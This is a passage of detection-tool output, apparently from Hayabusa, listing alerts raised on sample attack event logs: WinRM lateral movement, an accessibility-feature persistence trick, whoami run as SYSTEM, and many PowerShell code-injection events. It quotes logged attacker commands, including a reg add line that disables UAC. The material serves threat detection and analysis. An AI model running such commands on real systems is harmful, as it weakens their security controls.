Movement/LM_winrm_exec_sysmon_1_winrshost.evtx +2019-05-16 10:38:19.630 +09:00,DC1.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: Lateral Movement - Windows Remote Management : Command: ""C:\Windows\system32\HOSTNAME.EXE"" : Path: C:\Windows\System32\HOSTNAME.EXE : User: insecurebank\Administrator : Parent Command: C:\Windows\system32\wsmprovhost.exe -Embedding",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_PowershellRemoting_sysmon_1_wsmprovhost.evtx +2019-05-16 10:38:19.630 +09:00,DC1.insecurebank.local,1,medium,Remote PowerShell Session Host Process (WinRM),,rules/sigma/process_creation/win_remote_powershell_session_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_PowershellRemoting_sysmon_1_wsmprovhost.evtx +2019-05-16 23:17:15.762 +09:00,DC1.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1112,technique_name=Modify Registry : Command: reg add hklm\software\microsoft\windows\currentversion\policies\system /v EnableLUA /t REG_DWORD /d 0x0 /f : Path: C:\Windows\System32\reg.exe : User: insecurebank\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_UAC_Disabled_Sysmon_12_13.evtx +2019-05-17 01:08:34.867 +09:00,DC1.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1015,technique_name=Accessibility Features : Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: NT AUTHORITY\SYSTEM : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-17 01:08:40.360 +09:00,DC1.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1033,technique_name=System Owner/User Discovery : Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\osk.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-17 01:08:40.360 +09:00,DC1.insecurebank.local,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-17 01:08:40.360 +09:00,DC1.insecurebank.local,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-17 01:08:40.360 +09:00,DC1.insecurebank.local,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-17 01:08:40.360 +09:00,DC1.insecurebank.local,1,high,Whoami Execution Anomaly,,rules/sigma/process_creation/win_susp_whoami_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-19 02:16:08.348 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.176 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.176 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.208 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.208 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.223 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.223 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.255 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.255 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.270 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.270 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.286 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.286 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.317 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.317 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.333 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.333 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.348 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.348 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.364 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.364 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.380 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.380 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.395 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.395 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.411 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.411 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.426 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.426 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.458 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.458 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.473 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.473 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.489 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.489 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.505 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.505 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.520 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.520 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.536 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.536 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.551 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.551 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.567 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.567 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.583 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.583 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.598 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.598 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.614 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.614 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.630 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.630 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.661 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.661 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.692 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.692 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.708 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.708 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.723 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.723 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.739 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.739 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.755 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.755 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.770 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.770 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.801 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.801 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.817 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.817 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.833 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.833 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.848 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.848 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.864 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.864 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.880 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.880 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.895 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.895 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.926 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.926 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.942 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.942 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.973 +09:00,IEWIN7,8,high,Accessing WinAPI in 